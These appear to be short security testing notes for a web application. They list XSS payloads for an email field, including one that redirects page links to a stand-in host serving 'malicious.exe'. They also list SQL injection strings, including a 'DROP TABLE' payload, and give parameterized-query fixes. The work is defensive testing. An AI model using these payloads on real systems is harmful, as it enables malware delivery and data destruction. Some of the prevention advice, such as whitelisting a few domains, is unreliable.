Garrett Reeve

Deangelo Aguilar

Tests iteration 3

XSS to test

* "<script>alert(1)</script>"@example.com
* <a href='mailto:USER\_EMAIL'>email me</a>
* foo'onclick='alert'foo='@example.com
* http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe";}</script>

Ways to prevent XSS on email field

* Allow only entries that include @ and .com or .gov or .edu
* Don’t allow any special characters
  + Examples above rely on special characters like < > ? = - + etc.

SQL injection tests

* For input fields that talk to database
  + 105 OR 1=1
  + " or ""="
  + 105; DROP TABLE Suppliers
    - This one must be tested on a testing enviorment not prod

Protect against SQL injection

Need to use params that limit visibility and depth by attacker

* These are some examples of using params
  + txtUserId = getRequestString("UserId");  
    txtSQL = "SELECT \* FROM Users WHERE UserId = @0";  
    db.Execute(txtSQL,txtUserId);
  + txtNam = getRequestString("CustomerName");  
    txtAdd = getRequestString("Address");  
    txtCit = getRequestString("City");  
    txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";  
    db.Execute(txtSQL,txtNam,txtAdd,txtCit);